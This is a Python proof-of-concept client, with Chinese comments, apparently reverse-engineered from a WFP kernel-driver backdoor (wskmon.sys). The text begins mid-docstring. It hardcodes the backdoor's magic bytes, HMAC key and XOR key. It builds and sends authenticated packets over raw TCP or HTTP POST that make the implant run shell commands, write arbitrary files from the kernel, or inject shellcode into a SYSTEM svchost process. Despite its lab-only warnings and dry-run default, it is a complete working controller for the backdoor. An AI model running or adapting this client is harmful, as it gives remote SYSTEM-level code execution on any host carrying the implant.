Type 0x02 (file_write): [2B BE path_len][UTF-8 path][file content],上限 0xA00000
Type 0x03 (shellcode): 原始 shellcode 字节,上限 0xA00000
传输模式 (反编译自 classifyFn 双路检测):
raw : 裸 TCP,magic 必须在流开头
http : HTTP POST,驱动扫描 body 前 0x400 字节找 magic
警告:
本脚本仅用于逆向分析验证与防御研究,需在隔离的实验环境中
针对 consenting 目标运行。请勿用于未授权系统。
用法示例:
# 1. 干跑 (默认):构造包并打印协议解析,不发送
python poc_ntf_client.py shell --cmd "calc.exe" --dry-run
python poc_ntf_client.py file --path "C:\\\\Users\\\\Public\\\\test.txt" --content "hello" --dry-run
python poc_ntf_client.py shellcode --file w64-exec-calc-shellcode-esp-clean-func.bin --dry-run
# 2. 实际发送 (需指定 --send,默认走 HTTP POST)
python poc_ntf_client.py shell --cmd "notepad.exe" --target 192.168.56.115:8000 --send
python poc_ntf_client.py shell --cmd "notepad.exe" --target 192.168.56.115:8000 --transport raw --send
python poc_ntf_client.py shellcode --file w64-exec-calc-shellcode-esp-clean-func.bin --target 192.168.56.115:8000 --send
"""
import argparse
import hashlib
import hmac
import socket
import sys
from pathlib import Path
# ============================================================
# 常量 (反编译自驱动 .rdata / .data 段)
# ============================================================
MAGIC = bytes.fromhex('7f4e5446') # "\x7FNTF" @ classifyFn 0x1400014cc
HMAC_KEY = bytes.fromhex(
'a3915bd70e62c4883f1a7de650b92cf5'
'6e8347da15ac790bc15834ef962d4a71'
) # g_HmacSha256Key @ 0x140005558
XOR_KEY = bytes.fromhex(
'd2478a1ef36bc0955429e73d81af660c'
'b8721fe4439d5e28a60d73c93b84f152'
) # g_XorCipherTable @ 0x140005470
CMD_SHELL = 0x01
CMD_FILE_WRITE = 0x02
CMD_SHELLCODE = 0x03
# 各命令类型的 payload 上限 (反编译自 classifyFn 0x140001660)
PAYLOAD_LIMITS = {
CMD_SHELL: 0x1000, # 4 KB
CMD_FILE_WRITE: 0xA00000, # ~10 MB
CMD_SHELLCODE: 0xA00000, # ~10 MB
}
# 流总长度上限 (反编译自 classifyFn: magic_offset + 0xA00029)
STREAM_MAX = 0xA00029
# ============================================================
# 协议原语
# ============================================================
def xor_cipher(data: bytes) -> bytes:
"""旋转 XOR 加解密 (32 字节循环),反编译自 WorkerRoutine 0x140001289/0x1400012fe。
payload[i] ^= XOR_KEY[i & 0x1F]
XOR 与 RC4 等流密码不同,无内部状态,加解密同函数。
"""
return bytes(b ^ XOR_KEY[i & 0x1F] for i, b in enumerate(data))
def compute_hmac(cmd_type: int, encrypted_payload: bytes) -> bytes:
"""HMAC-SHA256,反编译自 VerifyHmacSha256 0x140001BF0。
输入 = [1B cmd_type || encrypted_payload]
密钥 = HMAC_KEY (32B,作为 BCryptCreateHash 的 pbSecret)
注意:HMAC 计算于密文之上 (XOR 解密之前),防止未授权指令注入。
"""
h = hmac.new(HMAC_KEY, digestmod=hashlib.sha256)
h.update(bytes([cmd_type])) # BCryptHashData(&pbInput, 1, 0)
h.update(encrypted_payload) # BCryptHashData(a2, a3, 0)
return h.digest() # 32 bytes
def build_ntf_packet(cmd_type: int, payload: bytes) -> bytes:
"""构造完整 NTF 数据包。
包结构: [magic(4)][cmd_type(1)][HMAC(32)][len(4 BE)][encrypted_payload(N)]
头部固定长度 = 0x29 = 41 字节。
"""
if len(payload) > PAYLOAD_LIMITS[cmd_type]:
raise ValueError(
f"payload 太大: {len(payload)} > {PAYLOAD_LIMITS[cmd_type]:#x} "
f"(cmd_type={cmd_type:#x})"
)
encrypted = xor_cipher(payload)
mac = compute_hmac(cmd_type, encrypted)
size = len(encrypted).to_bytes(4, 'big')
packet = MAGIC + bytes([cmd_type]) + mac + size + encrypted
total_cap = STREAM_MAX
if len(packet) > total_cap:
raise ValueError(f"整包超长: {len(packet)} > {total_cap:#x}")
return packet
# ============================================================
# 各命令类型的 payload 构造器
# ============================================================
def build_shell_payload(command: str) -> bytes:
"""Type 0x01: 命令字符串。
驱动在 ExecuteShellCmdInSvchost 中自动前缀 'cmd.exe /c ',因此
调用方只需提供命令本身 (例: 'notepad.exe' / 'calc.exe')。
编码:UTF-8 (PsGetProcessPeb 解析的 RtlCreateUserThread 不关心编码,
WinExec 内部按 ANSI 处理,因此纯 ASCII 命令最稳妥)。
"""
return command.encode('utf-8')
def build_file_write_payload(path: str, content: bytes) -> bytes:
"""Type 0x02: 任意文件写入。
反编译自 WriteFileFromKernel 0x1400027F0:
[2B BE path_len][path_len UTF-8 字节][文件内容]
驱动在路径前强制加 '\\??\\' 前缀 (绕过 DOS 路径),所以调用方
只需提供普通路径 (例: 'C:\\\\Windows\\\\Temp\\\\test.txt')。
路径长度上限: 0x104 (反编译自 unsigned __int16 检查)。
"""
path_bytes = path.encode('utf-8')
if len(path_bytes) == 0 or len(path_bytes) > 0x104:
raise ValueError(f"路径长度非法: {len(path_bytes)} (须 1..0x104)")
path_len = len(path_bytes).to_bytes(2, 'big')
return path_len + path_bytes + content
def build_shellcode_payload(shellcode: bytes) -> bytes:
"""Type 0x03: 原始 shellcode。
反编译自 ExecuteShellcodeInSvchost 0x140002040:
- 在 SYSTEM svchost 内 ZwAllocateVirtualMemory(Protect=0x40 PAGE_EXECUTE_READWRITE)
- memcpy_simd 复制 shellcode 到 RWX 内存
- CreateRemoteThreadInProcess(start=buffer_base, arg=NULL)
因此 shellcode 须为位置无关代码 (PIC),入口即为缓冲区起始。
"""
return shellcode
# ============================================================
# 传输层
# ============================================================
def send_raw_tcp(target_host: str, target_port: int, ntf_packet: bytes) -> None:
"""裸 TCP 传输:NTF 包直接作为流首部发送。
反编译自 classifyFn 路径 A (0x1400014cc):流首 4 字节 == 0x7F。
适合任意 TCP 服务 (RDP/SSH/SMB/任意监听端口)。
"""
print(f"[*] 裸 TCP 模式: 连接 {target_host}:{target_port}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(10)
s.connect((target_host, target_port))
s.sendall(ntf_packet)
print(f"[+] 已发送 {len(ntf_packet)} 字节")
def send_http_post(target_host: str, target_port: int, ntf_packet: bytes,
uri: str = '/') -> None:
"""HTTP POST 传输:NTF 包嵌入 POST body。
反编译自 classifyFn 路径 B (0x140001563):首 4 字节须为 'POST',
驱动扫描 body 前 0x400 字节寻找 magic。
HTTP 响应被驱动忽略 — 包在 HTTP 服务处理前已被 WFP callout 消费
(actionType=0x1001 FWP_ACTION_FLAG_CALLOUT_TERMINATING)。
"""
http_request = (
f"POST {uri} HTTP/1.1\r\n"
f"Host: {target_host}:{target_port}\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {len(ntf_packet)}\r\n"
f"\r\n"
).encode() + ntf_packet
print(f"[*] HTTP POST 模式: 连接 {target_host}:{target_port}{uri}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(10)
s.connect((target_host, target_port))
s.sendall(http_request)
print(f"[+] 已发送 {len(http_request)} 字节 (HTTP 头 + {len(ntf_packet)} 字节 NTF 包)")
# ============================================================
# 协议解析 (用于 dry-run 验证)
# ============================================================
def parse_ntf_packet(packet: bytes) -> dict:
"""解析 NTF 包,用于验证构造正确性。"""
if len(packet) < 0x29:
raise ValueError(f"包太短: {len(packet)} < 0x29")
magic = packet[0:4]
cmd_type = packet[4]
mac = packet[5:5+32]
length = int.from_bytes(packet[0x25:0x29], 'big')
encrypted = packet[0x29:0x29+length]
decrypted = xor_cipher(encrypted)
expected_mac = compute_hmac(cmd_type, encrypted)
return {
'magic': magic,
'magic_ok': magic == MAGIC,
'cmd_type': cmd_type,
'hmac': mac,
'hmac_ok': mac == expected_mac,
'payload_len': length,
'encrypted_payload': encrypted,
'decrypted_payload': decrypted,
'total_size': len(packet),
}
def hexdump(data: bytes, prefix: str = ' ') -> str:
lines = []
for i in range(0, len(data), 16):
chunk = data[i:i+16]
hex_part = ' '.join(f'{b:02x}' for b in chunk)
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
lines.append(f"{prefix}{i:08x} {hex_part:<48} {ascii_part}")
return '\n'.join(lines)
def print_packet_analysis(packet: bytes, cmd_type: int, raw_payload: bytes) -> None:
"""dry-run:详细打印协议解析,验证构造正确性。"""
print("=" * 72)
print("NTF 数据包分析 (dry-run,未发送)")
print("=" * 72)
parsed = parse_ntf_packet(packet)
print(f"\n[1] 协议头 ({0x29} 字节)")
print(f" Magic : {parsed['magic'].hex()} ({parsed['magic']!r}) "
f"{'✓' if parsed['magic_ok'] else '✗'}")
print(f" cmd_type : 0x{parsed['cmd_type']:02x} "
f"({ {1:'shell',2:'file_write',3:'shellcode'}.get(parsed['cmd_type'],'?') })")
print(f" HMAC-SHA256 : {parsed['hmac'].hex()}")
print(f" HMAC 校验 : {'✓ 通过 (与重算结果一致)' if parsed['hmac_ok'] else '✗ 失败'}")
print(f" Payload len : {parsed['payload_len']} (0x{parsed['payload_len']:x}) 字节 (大端)")
print(f"\n[2] 原始 payload ({len(raw_payload)} 字节,加密前)")
print(f" 上限检查 : {len(raw_payload)} / {PAYLOAD_LIMITS[cmd_type]:#x} "
f"({'✓' if len(raw_payload) <= PAYLOAD_LIMITS[cmd_type] else '✗'})")
if cmd_type == CMD_SHELL:
print(f" 命令字符串 : {raw_payload.decode('utf-8', errors='replace')!r}")
print(f" 驱动将执行 : cmd.exe /c {raw_payload.decode('utf-8', errors='replace')}")
elif cmd_type == CMD_FILE_WRITE:
path_len = int.from_bytes(raw_payload[0:2], 'big')
path = raw_payload[2:2+path_len].decode('utf-8', errors='replace')
content = raw_payload[2+path_len:]
print(f" 路径长度 : {path_len}")
print(f" 文件路径 : {path}")
print(f" 驱动将写入 : \\??\\{path}")
print(f" 文件内容 : {len(content)} 字节")
if len(content) <= 64:
print(f" 内容 hex : {content.hex()}")
print(f" 内容 ascii : {content.decode('utf-8', errors='replace')!r}")
elif cmd_type == CMD_SHELLCODE:
print(f" Shellcode 大小: {len(raw_payload)} 字节")
print(f" 驱动将 : ZwAllocateVirtualMemory(PAGE_EXECUTE_READWRITE) "
f"+ CreateRemoteThread(start=buf_base)")
print(f"\n[3] XOR 加密后的 payload ({len(parsed['encrypted_payload'])} 字节)")
print(hexdump(parsed['encrypted_payload'][:128]))
if len(parsed['encrypted_payload']) > 128:
print(f" ... ({len(parsed['encrypted_payload']) - 128} 字节省略)")
print(f"\n[4] 完整 NTF 数据包 ({parsed['total_size']} 字节)")
print(hexdump(packet[:160]))
if len(packet) > 160:
print(f" ... ({len(packet) - 160} 字节省略)")
print(f"\n[5] 协议约束自检")
checks = [
('Magic = 7F 4E 54 46', parsed['magic_ok']),
('cmd_type ∈ {1,2,3}', parsed['cmd_type'] in (1, 2, 3)),
('HMAC 重算一致', parsed['hmac_ok']),
('Payload 长度匹配', parsed['payload_len'] == len(raw_payload)),
('Payload 未超上限', len(raw_payload) <= PAYLOAD_LIMITS[cmd_type]),
('整包长度 ≤ magic_off+0xA00029', parsed['total_size'] <= STREAM_MAX),
]
for name, ok in checks:
print(f" [{'✓' if ok else '✗'}] {name}")
print("=" * 72)
# ============================================================
# CLI
# ============================================================
def parse_target(target: str):
"""解析 host:port 字符串。"""
if ':' not in target:
raise argparse.ArgumentTypeError(f"目标格式应为 host:port,得到: {target}")
host, port = target.rsplit(':', 1)
return host, int(port)
def cmd_shell(args):
command = args.cmd
payload = build_shell_payload(command)
packet = build_ntf_packet(CMD_SHELL, payload)
if args.dry_run:
print_packet_analysis(packet, CMD_SHELL, payload)
else:
host, port = parse_target(args.target)
if args.transport == 'raw':
send_raw_tcp(host, port, packet)
else:
send_http_post(host, port, packet)
def cmd_file(args):
if args.content is not None:
content = args.content.encode('utf-8')
elif args.input_file:
content = Path(args.input_file).read_bytes()
else:
content = b''
payload = build_file_write_payload(args.path, content)
packet = build_ntf_packet(CMD_FILE_WRITE, payload)
if args.dry_run:
print_packet_analysis(packet, CMD_FILE_WRITE, payload)
else:
host, port = parse_target(args.target)
if args.transport == 'raw':
send_raw_tcp(host, port, packet)
else:
send_http_post(host, port, packet)
def cmd_shellcode(args):
shellcode = Path(args.file).read_bytes()
if not shellcode:
raise SystemExit(f"shellcode 文件为空: {args.file}")
payload = build_shellcode_payload(shellcode)
packet = build_ntf_packet(CMD_SHELLCODE, payload)
if args.dry_run:
print_packet_analysis(packet, CMD_SHELLCODE, payload)
else:
host, port = parse_target(args.target)
if args.transport == 'raw':
send_raw_tcp(host, port, packet)
else:
send_http_post(host, port, packet)
def main():
parser = argparse.ArgumentParser(
description='wskmon.sys WFP 后门 PoC 客户端 (逆向分析验证用)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__,
)
sub = parser.add_subparsers(dest='command', required=True)
# 通用参数 (添加到每个子命令)
def add_common(p):
p.add_argument('--target', default='192.168.56.115:8000',
help='目标 host:port (默认: 192.168.56.115:8000,参考 gistfile1)')
p.add_argument('--transport', choices=['http', 'raw'], default='http',
help='传输模式: http=HTTP POST 隐藏 / raw=裸 TCP (默认: http)')
p.add_argument('--send', action='store_true',
help='实际发送 (否则默认 dry-run 只验证协议构造)')
p.add_argument('--dry-run', action='store_true',
help='强制 dry-run (即使 --send 也只验证)')
# shell
p_shell = sub.add_parser('shell', help='Type 0x01: 命令执行 (cmd.exe /c <cmd>)')
p_shell.add_argument('--cmd', required=True,
help='命令字符串 (例: "calc.exe" / "notepad.exe")')
add_common(p_shell)
p_shell.set_defaults(func=cmd_shell)
# file
p_file = sub.add_parser('file', help='Type 0x02: 任意文件写入')
p_file.add_argument('--path', required=True,
help='目标路径 (例: "C:\\\\Users\\\\Public\\\\test.txt")')
grp = p_file.add_mutually_exclusive_group()
grp.add_argument('--content', help='写入的文本内容')
grp.add_argument('--input-file', help='从文件读取要写入的内容 (二进制安全)')
add_common(p_file)
p_file.set_defaults(func=cmd_file)
# shellcode
p_sc = sub.add_parser('shellcode', help='Type 0x03: shellcode 执行')
p_sc.add_argument('--file', required=True,
help='shellcode 二进制文件 (例: w64-exec-calc-shellcode-esp-clean-func.bin)')
add_common(p_sc)
p_sc.set_defaults(func=cmd_shellcode)
args = parser.parse_args()
# 安全默认:未指定 --send 时一律 dry-run
if not args.send:
args.dry_run = True
# 安全横幅
if not args.dry_run:
print("=" * 72)
print("警告: 实际发送模式")
print(" - 仅在隔离实验环境中针对 consenting 目标运行")
print(" - 目标: {}:{}".format(*parse_target(args.target)))
print(" - 传输: {}".format(args.transport))
print("=" * 72)
try:
input("按回车继续,Ctrl+C 取消... ")
except KeyboardInterrupt:
print("\n已取消")
sys.exit(0)
args.func(args)
if __name__ == '__main__':
main()

浙公网安备 33010602011771号